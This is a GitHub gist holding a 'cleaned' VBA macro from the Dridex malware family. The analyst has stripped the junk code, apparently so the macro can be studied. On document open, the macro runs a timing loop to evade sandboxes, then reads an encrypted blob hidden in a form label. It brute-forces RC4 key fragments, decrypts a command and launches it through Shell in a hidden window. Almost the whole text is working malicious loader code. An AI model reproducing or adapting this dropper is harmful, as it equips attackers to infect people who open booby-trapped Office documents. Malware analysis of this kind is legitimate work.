dridex.vb's cleaned - removed garbage code
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Dim SRNATGh() As Byte | |
Dim AsVWQk(15812 - 6812) As Long, YeAeXXV(10269 - 270) As Long | |
**************************************************************************************************** | |
Private Sub GmY() | |
Dim N42Wo() As String, RJz As Integer | |
N42Wo = Split(UserForm1.Label1.Caption, Qxd7GSg(44)) | |
Dim U7PlAu3 As String | |
ReDim SRNATGh(3627) | |
For RJz = 0 To 3627 | |
SRNATGh(RJz) = N42Wo(RJz) | |
Next RJz | |
Dim Mea As Long | |
Dim XSRK2vh(13) As Byte, SSXJM(36) As Byte | |
XSRK2vh(0) = 237 | |
XSRK2vh(1) = 28 | |
XSRK2vh(2) = 3 | |
XSRK2vh(3) = 238 | |
XSRK2vh(4) = 231 | |
XSRK2vh(5) = 14 | |
XSRK2vh(6) = 250 | |
XSRK2vh(7) = 213 | |
XSRK2vh(8) = 86 | |
XSRK2vh(9) = 253 | |
XSRK2vh(10) = 10 | |
XSRK2vh(11) = 215 | |
XSRK2vh(12) = 237 | |
XSRK2vh(13) = 58 | |
SSXJM(0) = 79 | |
SSXJM(1) = 88 | |
SSXJM(2) = 80 | |
SSXJM(3) = 87 | |
SSXJM(4) = 89 | |
SSXJM(5) = 77 | |
SSXJM(6) = 101 | |
SSXJM(7) = 50 | |
SSXJM(8) = 86 | |
SSXJM(9) = 118 | |
SSXJM(10) = 54 | |
SSXJM(11) = 70 | |
SSXJM(12) = 120 | |
SSXJM(13) = 90 | |
SSXJM(14) = 103 | |
SSXJM(15) = 117 | |
SSXJM(16) = 65 | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
SSXJM(17) = UMI(Mea, 1) | |
SSXJM(18) = UMI(Mea, 2) | |
SSXJM(19) = UMI(Mea, 3) | |
SSXJM(20) = UMI(Mea, 4) | |
SSXJM(21) = SSXJM(17) | |
SSXJM(22) = SSXJM(18) | |
SSXJM(23) = SSXJM(19) | |
SSXJM(24) = SSXJM(20) | |
SSXJM(25) = SSXJM(17) | |
SSXJM(26) = SSXJM(18) | |
SSXJM(27) = SSXJM(19) | |
SSXJM(28) = SSXJM(20) | |
SSXJM(29) = SSXJM(17) | |
SSXJM(30) = SSXJM(18) | |
SSXJM(31) = SSXJM(19) | |
SSXJM(32) = SSXJM(20) | |
SSXJM(33) = SSXJM(17) | |
SSXJM(34) = SSXJM(18) | |
SSXJM(35) = SSXJM(19) | |
SSXJM(36) = SSXJM(20) | |
If Cv8Cg3(XSRK2vh, SSXJM) = "TYTKJQBmiDtlWm" Then Exit For | |
Next Mea | |
Dim NYAqlva(10) As Byte, DjFRc(35) As Byte | |
NYAqlva(0) = 86 | |
NYAqlva(1) = 3 | |
NYAqlva(2) = 109 | |
NYAqlva(3) = 200 | |
NYAqlva(4) = 61 | |
NYAqlva(5) = 230 | |
NYAqlva(6) = 34 | |
NYAqlva(7) = 53 | |
NYAqlva(8) = 211 | |
NYAqlva(9) = 172 | |
NYAqlva(10) = 225 | |
Dim U7PlAu12 As String | |
DjFRc(0) = 77 | |
DjFRc(1) = 120 | |
DjFRc(2) = 69 | |
DjFRc(3) = 90 | |
DjFRc(4) = 107 | |
DjFRc(5) = 89 | |
DjFRc(6) = 72 | |
DjFRc(7) = 100 | |
DjFRc(8) = 52 | |
DjFRc(9) = 87 | |
DjFRc(10) = 87 | |
DjFRc(11) = 105 | |
DjFRc(12) = 84 | |
DjFRc(13) = 55 | |
DjFRc(14) = 52 | |
DjFRc(15) = 89 | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
DjFRc(16) = UMI(Mea, 1) | |
DjFRc(17) = UMI(Mea, 2) | |
DjFRc(18) = UMI(Mea, 3) | |
DjFRc(19) = UMI(Mea, 4) | |
DjFRc(20) = DjFRc(16) | |
DjFRc(21) = DjFRc(17) | |
DjFRc(22) = DjFRc(18) | |
DjFRc(23) = DjFRc(19) | |
DjFRc(24) = DjFRc(16) | |
DjFRc(25) = DjFRc(17) | |
DjFRc(26) = DjFRc(18) | |
DjFRc(27) = DjFRc(19) | |
DjFRc(28) = DjFRc(16) | |
DjFRc(29) = DjFRc(17) | |
DjFRc(30) = DjFRc(18) | |
DjFRc(31) = DjFRc(19) | |
DjFRc(32) = DjFRc(16) | |
DjFRc(33) = DjFRc(17) | |
DjFRc(34) = DjFRc(18) | |
DjFRc(35) = DjFRc(19) | |
If Cv8Cg3(NYAqlva, DjFRc) = "DHS4qvwNRXr" Then Exit For | |
Next Mea | |
Dim V9PbJkV(15) As Byte, LW(36) As Byte | |
V9PbJkV(0) = 41 | |
V9PbJkV(1) = 167 | |
V9PbJkV(2) = 214 | |
V9PbJkV(3) = 167 | |
V9PbJkV(4) = 44 | |
V9PbJkV(5) = 230 | |
V9PbJkV(6) = 182 | |
V9PbJkV(7) = 5 | |
V9PbJkV(8) = 218 | |
V9PbJkV(9) = 85 | |
V9PbJkV(10) = 185 | |
V9PbJkV(11) = 32 | |
V9PbJkV(12) = 31 | |
V9PbJkV(13) = 179 | |
V9PbJkV(14) = 43 | |
V9PbJkV(15) = 107 | |
LW(0) = 85 | |
LW(1) = 54 | |
LW(2) = 83 | |
LW(3) = 84 | |
LW(4) = 76 | |
LW(5) = 75 | |
LW(6) = 118 | |
LW(7) = 119 | |
LW(8) = 56 | |
LW(9) = 85 | |
LW(10) = 90 | |
LW(11) = 66 | |
LW(12) = 115 | |
LW(13) = 97 | |
LW(14) = 115 | |
LW(15) = 56 | |
LW(16) = 90 | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
LW(17) = UMI(Mea, 1) | |
LW(18) = UMI(Mea, 2) | |
LW(19) = UMI(Mea, 3) | |
LW(20) = UMI(Mea, 4) | |
LW(21) = LW(17) | |
LW(22) = LW(18) | |
LW(23) = LW(19) | |
LW(24) = LW(20) | |
LW(25) = LW(17) | |
LW(26) = LW(18) | |
LW(27) = LW(19) | |
LW(28) = LW(20) | |
LW(29) = LW(17) | |
LW(30) = LW(18) | |
LW(31) = LW(19) | |
LW(32) = LW(20) | |
LW(33) = LW(17) | |
LW(34) = LW(18) | |
LW(35) = LW(19) | |
LW(36) = LW(20) | |
If Cv8Cg3(V9PbJkV, LW) = "QjthqMM0nBOiLvHY" Then Exit For | |
Next Mea | |
Dim NSJBW7B(15) As Byte, K2Z(37) As Byte | |
'ingredient | |
NSJBW7B(0) = 171 | |
NSJBW7B(1) = 107 | |
NSJBW7B(2) = 175 | |
NSJBW7B(3) = 221 | |
NSJBW7B(4) = 59 | |
NSJBW7B(5) = 101 | |
NSJBW7B(6) = 156 | |
NSJBW7B(7) = 9 | |
NSJBW7B(8) = 207 | |
NSJBW7B(9) = 162 | |
NSJBW7B(10) = 59 | |
NSJBW7B(11) = 196 | |
NSJBW7B(12) = 242 | |
NSJBW7B(13) = 21 | |
NSJBW7B(14) = 42 | |
NSJBW7B(15) = 42 | |
K2Z(0) = 73 | |
K2Z(1) = 101 | |
K2Z(2) = 103 | |
K2Z(3) = 108 | |
K2Z(4) = 69 | |
K2Z(5) = 54 | |
K2Z(6) = 73 | |
K2Z(7) = 70 | |
K2Z(8) = 117 | |
K2Z(9) = 101 | |
K2Z(10) = 66 | |
K2Z(11) = 89 | |
K2Z(12) = 118 | |
K2Z(13) = 69 | |
K2Z(14) = 83 | |
K2Z(15) = 66 | |
K2Z(16) = 90 | |
K2Z(17) = 98 | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
K2Z(18) = UMI(Mea, 1) | |
K2Z(19) = UMI(Mea, 2) | |
K2Z(20) = UMI(Mea, 3) | |
K2Z(21) = UMI(Mea, 4) | |
K2Z(22) = K2Z(18) | |
K2Z(23) = K2Z(19) | |
K2Z(24) = K2Z(20) | |
K2Z(25) = K2Z(21) | |
K2Z(26) = K2Z(18) | |
K2Z(27) = K2Z(19) | |
K2Z(28) = K2Z(20) | |
K2Z(29) = K2Z(21) | |
K2Z(30) = K2Z(18) | |
K2Z(31) = K2Z(19) | |
K2Z(32) = K2Z(20) | |
K2Z(33) = K2Z(21) | |
K2Z(34) = K2Z(18) | |
K2Z(35) = K2Z(19) | |
K2Z(36) = K2Z(20) | |
K2Z(37) = K2Z(21) | |
If Cv8Cg3(NSJBW7B, K2Z) = "BZay9OtzSvNJpWTY" Then Exit For | |
Next Mea | |
Dim SiHbpw(147) As Byte, SIf As Long, CRfSt As Long | |
SIf = 0 | |
CRfSt = 0 | |
For Mea = 0 To OHb(SSXJM) | |
SiHbpw(Mea) = SSXJM(Mea) | |
SIf = SIf + 1 | |
Next Mea | |
For Mea = OHb(SSXJM) + 1 To OHb(DjFRc) + SIf | |
SiHbpw(Mea) = DjFRc(CRfSt) | |
CRfSt = CRfSt + 1 | |
SIf = SIf + 1 | |
Next Mea | |
CRfSt = 0 | |
For Mea = SIf To OHb(LW) + SIf | |
SiHbpw(Mea) = LW(CRfSt) | |
CRfSt = CRfSt + 1 | |
SIf = SIf + 1 | |
Next Mea | |
CRfSt = 0 | |
For Mea = SIf To OHb(K2Z) + SIf | |
SiHbpw(Mea) = K2Z(CRfSt) | |
CRfSt = CRfSt + 1 | |
SIf = SIf + 1 | |
Next Mea | |
OcMm1T = Cv8Cg3(SRNATGh, SiHbpw) | |
Shell OcMm1T, (374 - 374) | |
End Sub | |
**************************************************************************************************** | |
**************************************************************************************************** | |
Private Sub GwQ9d() | |
End Sub | |
**************************************************************************************************** | |
**************************************************************************************************** | |
Private Function Qxd7GSg(ByVal BHxHFg As Integer) As String | |
Dim Wz(1) As Byte, KPA3 As Byte, LrdfxYI As Byte | |
If BHxHFg < 0 Then Exit Function | |
If BHxHFg > 255 Then | |
LrdfxYI = 0 | |
Else | |
KPA3 = BHxHFg | |
LrdfxYI = 0 | |
End If | |
Wz(0) = KPA3 | |
Wz(1) = LrdfxYI | |
Qxd7GSg = Wz | |
End Function | |
**************************************************************************************************** | |
**************************************************************************************************** | |
Private Function Cv8Cg3(K2fkl() As Byte, TBfWWQw() As Byte) As String | |
Dim DkB(0 To 255) As Integer, TzwC2o8 As Long, JuxOGCD As Long, YpxaVbI As Long, TjCv As Byte, GA() As Byte, OT() As Byte | |
ReDim GA(OHb(K2fkl)) As Byte | |
GA = K2fkl | |
ReDim OT(OHb(TBfWWQw)) As Byte | |
OT = TBfWWQw | |
For TzwC2o8 = 0 To 255 | |
DkB(TzwC2o8) = TzwC2o8 | |
Next TzwC2o8 | |
TzwC2o8 = 0 | |
JuxOGCD = 0 | |
YpxaVbI = 0 | |
For TzwC2o8 = 0 To 255 | |
JuxOGCD = SGo0s((JuxOGCD + DkB(TzwC2o8) + OT(SGo0s(TzwC2o8, (OHb(TBfWWQw) + 1)))), (256)) | |
TjCv = DkB(TzwC2o8) | |
DkB(TzwC2o8) = DkB(JuxOGCD) | |
DkB(JuxOGCD) = TjCv | |
Next TzwC2o8 | |
TzwC2o8 = 0 | |
JuxOGCD = 0 | |
YpxaVbI = 0 | |
For TzwC2o8 = 0 To OHb(K2fkl) | |
JuxOGCD = SGo0s((JuxOGCD + 1), 256) | |
YpxaVbI = SGo0s((YpxaVbI + DkB(JuxOGCD)), 256) | |
TjCv = DkB(JuxOGCD) | |
DkB(JuxOGCD) = DkB(YpxaVbI) | |
DkB(YpxaVbI) = TjCv | |
GA(TzwC2o8) = Iy23W(GA(TzwC2o8), (DkB(SGo0s((DkB(JuxOGCD) + DkB(YpxaVbI)), (256))))) | |
Next TzwC2o8 | |
Cv8Cg3 = M6C(GA) | |
End Function | |
**************************************************************************************************** | |
**************************************************************************************************** | |
Private Function Iy23W(Y4lZ, RvJWmVD) | |
Iy23W = (Y4lZ And Not RvJWmVD) Or (Not Y4lZ And RvJWmVD) | |
End Function | |
**************************************************************************************************** | |
**************************************************************************************************** | |
Private Function OHb(ByVal Uv0ZqrD As Variant) As Long | |
Dim Jkpzfs As Long, SzvYWV As Variant | |
Do | |
SzvYWV = Uv0ZqrD(Jkpzfs) | |
Jkpzfs = Jkpzfs + 1 | |
Loop | |
If Jkpzfs = 0 Then Exit Function | |
OHb = Jkpzfs - 1 | |
End Function | |
**************************************************************************************************** | |
**************************************************************************************************** | |
Private Function CHnp(ByVal KJJPl As String, ByVal To8G4k As Long, ByVal Fbz As Variant) As String | |
'abstained | |
Dim KXC0() As Byte, RZiZ4() As Byte, Lvd As Long, XhKwG As Long | |
KXC0 = KJJPl | |
Lvd = OHb(KXC0) | |
To8G4k = (To8G4k - 1) * 2 | |
Fbz = (Fbz * 2) - 1 | |
If To8G4k + Fbz > Lvd Then Fbz = Lvd - To8G4k | |
ReDim RZiZ4(Fbz) | |
For XhKwG = To8G4k To To8G4k + Fbz | |
RZiZ4(XhKwG - To8G4k) = KXC0(XhKwG) | |
Next XhKwG | |
CHnp = RZiZ4 | |
End Function | |
***************************************************************************************************** | |
***************************************************************************************************** | |
Private Function UMI(AavXhKZ As Long, QUvjvie As Long) As Byte | |
Dim E9 As Long, Yp As Long | |
For E9 = 48 To 57 | |
If CHnp(AavXhKZ, QUvjvie, 1) = Yp Then UMI = E9: Exit For | |
Yp = Yp + 1 | |
Next E9 | |
End Function | |
***************************************************************************************************** | |
***************************************************************************************************** | |
Private Sub dOCuMeNt_oPEN() | |
On Error Resume Next | |
Dim Mbau As Long, FS7rPff As Long, UN83e3l As Long | |
Mbau = 91034 | |
For FS7rPff = 1 To Mbau | |
UN83e3l = UN83e3l + 1 | |
Next FS7rPff | |
If UN83e3l = Mbau Then | |
GmY | |
Else | |
GwQ9d | |
End If | |
End Sub | |
***************************************************************************************************** | |
***************************************************************************************************** | |
Private Function M6C(PWwslQ6() As Byte) As String | |
Dim UmtI5E As Long | |
'invades | |
For UmtI5E = 0 To OHb(PWwslQ6) | |
M6C = M6C & Qxd7GSg(PWwslQ6(UmtI5E)) | |
Next UmtI5E | |
End Function | |
***************************************************************************************************** | |
***************************************************************************************************** | |
Private Function SGo0s(TUO, KDSkW) | |
SGo0s = TUO - (KDSkW * (TUO \ KDSkW)) | |
End Function | |
***************************************************************************************************** |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment